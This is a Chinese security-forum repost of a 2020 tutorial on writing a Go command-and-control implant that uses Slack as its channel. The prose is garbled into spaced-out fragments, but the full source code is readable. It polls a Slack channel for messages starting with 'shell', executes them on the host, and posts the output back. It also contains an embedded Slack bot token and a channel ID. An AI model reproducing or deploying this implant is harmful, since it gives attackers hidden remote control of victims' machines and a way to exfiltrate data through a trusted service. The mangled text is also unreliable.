[1128] 2020-10-03_golang利用slack编写C2

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-16
2020-10-03_golang利用slack编写C2 g o l a n g s l a c k C 2   Y 4 e r   C h a B u g   2 0 2 0 - 1 0 - 0 3 g o l a n g d e m o n g o l a n g   s l a c k   c 2 便 t o k e n S L A C K 访   h t t p s : / / a p i . s l a c k . c o m /     a p p S t a r t   B u i l d i n g
  - >     t o k e n O A u t h   &   P e r m i s s i o n s S c o p e s I n s t a l l   A p p   t o   W o r k s p a c e
a l l o w t o k e n t o k e n x o x b - 1 4 1 3 2 9 3 4 5 0 6 8 9 - 1 4 0 3 5 0 6 5 5 9 5 0 7 - a W L c a h b 6 c G L Z W G H F 6 1 Q P V 1 7 S
c h a n n e l c h a n n e l   h t t p s : / / a p p . s l a c k . c o m / c l i e n t / T 0 1 C 5 8 M D 8 L 9 / C 0 1 B S 6 G E U J H C 0 1 B S 6 G E U J H / i n v i t e   @ m y s l a c k b o t
b o t b o t a p i t o k e n c h a n n e l   I D t e s t / i n v i t e   @ m y s l a c k b o t h t t p s : / / a p i . s l a c k . c o m / m e t h o d s h t t p s : / / a p i . s l a c k . c o m / m e t h o d s / c o n v e r s a t i o n s . h i s t o r y / t e s t
g o l a n g a p i C 2 G O L A N G
p a c k a g e   m a i n i m p o r t   (     " f m t "     " g i t h u b . c o m / t i d w a l l / g j s o n "     " i o / i o u t i l "     " n e t / h t t p "     " o s "     " o s / e x e c "     " s t r i n g s "     " t i m e " ) c o n s t   (     H i s t o r y _ a p i   =   " h t t p s : / / s l a c k . c o m / a p i / c o n v e r s a t i o n s . h i s t o r y "     P o s t M e s s a g e   =   " h t t p s : / / s l a c k . c o m / a p i / c h a t . p o s t M e s s a g e "     T o k e n               =   " x o x b - 1 4 1 3 2 9 3 4 5 0 6 8 9 - 1 4 0 3 5 0 6 5 5 9 5 0 7 - a W L c a h b 6 c G L Z W G H F 6 1 Q P V 1 7 S "     C h a n n e l           =   " C 0 1 B S 6 G E U J H " ) f u n c   m a i n ( )   {     f o r   t r u e   {         t i m e . S l e e p ( t i m e . S e c o n d   *   1 0 )         r e s u l t   : =   g e t H i s t o r y ( )         i f   s t r i n g s . H a s P r e f i x ( r e s u l t . S t r ,   " s h e l l " )   {             c m d R e s   : =   E x e c C o m m a n d ( s t r i n g s . S p l i t ( r e s u l t . S t r ,   "   " ) [ 1 ] )             p u t R e s ( c m d R e s )         }   e l s e   i f   s t r i n g s . H a s P r e f i x ( r e s u l t . S t r ,   " e x i t " )   {             o s . E x i t ( 0 )         }   e l s e   {             f m t . P r i n t l n ( " n o   c o m m a n d " )         }     } } f u n c   g e t H i s t o r y ( )   ( r e s u l t   g j s o n . R e s u l t )   {     r e q ,   e r r   : =   h t t p . N e w R e q u e s t ( " G E T " ,   H i s t o r y _ a p i ,   n i l )     i f   e r r   ! =   n i l   {         r e t u r n   g j s o n . R e s u l t { }     }
    q   : =   r e q . U R L . Q u e r y ( )     q . A d d ( " t o k e n " ,   T o k e n )     q . A d d ( " c h a n n e l " ,   C h a n n e l )     q . A d d ( " p r e t t y " ,   " 1 " )     q . A d d ( " l i m i t " ,   " 1 " )     r e q . U R L . R a w Q u e r y   =   q . E n c o d e ( )     r e s p ,   e r r   : =   h t t p . D e f a u l t C l i e n t . D o ( r e q )     i f   e r r   ! =   n i l   {         r e t u r n   g j s o n . R e s u l t { }     }     d e f e r   r e s p . B o d y . C l o s e ( )     b y t e ,   _   : =   i o u t i l . R e a d A l l ( r e s p . B o d y )     r e s u l t   =   g j s o n . G e t B y t e s ( b y t e ,   " m e s s a g e s . 0 . t e x t " )     r e t u r n } f u n c   p u t R e s ( r e s   s t r i n g )   {     r e q ,   e r r   : =   h t t p . N e w R e q u e s t ( " P O S T " ,   P o s t M e s s a g e ,   n i l )     i f   e r r   ! =   n i l   {         r e t u r n     }     p   : =   r e q . U R L . Q u e r y ( )     p . A d d ( " t o k e n " ,   T o k e n )     p . A d d ( " c h a n n e l " ,   C h a n n e l )     p . A d d ( " p r e t t y " ,   " 1 " )     p . A d d ( " t e x t " ,   r e s )     r e q . U R L . R a w Q u e r y   =   p . E n c o d e ( )     r e s p ,   e r r   : =   h t t p . D e f a u l t C l i e n t . D o ( r e q )     d e f e r   r e s p . B o d y . C l o s e ( )     i f   e r r   ! =   n i l   {         r e t u r n     } } f u n c   E x e c C o m m a n d ( c o m m a n d   s t r i n g )   ( o u t   s t r i n g )   {     c m d   : =   e x e c . C o m m a n d ( c o m m a n d )     o ,   e r r   : =   c m d . C o m b i n e d O u t p u t ( )     i f   e r r   ! =   n i l   {
        o u t   =   f m t . S p r i n t f ( " s h e l l   r u n   e r r o r :   n % s n " ,   e r r )     }   e l s e   {         o u t   =   f m t . S p r i n t f ( " c o m b i n e d   o u t : n % s n " ,   s t r i n g ( o ) )     }     r e t u r n }   s l a c k A P I

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则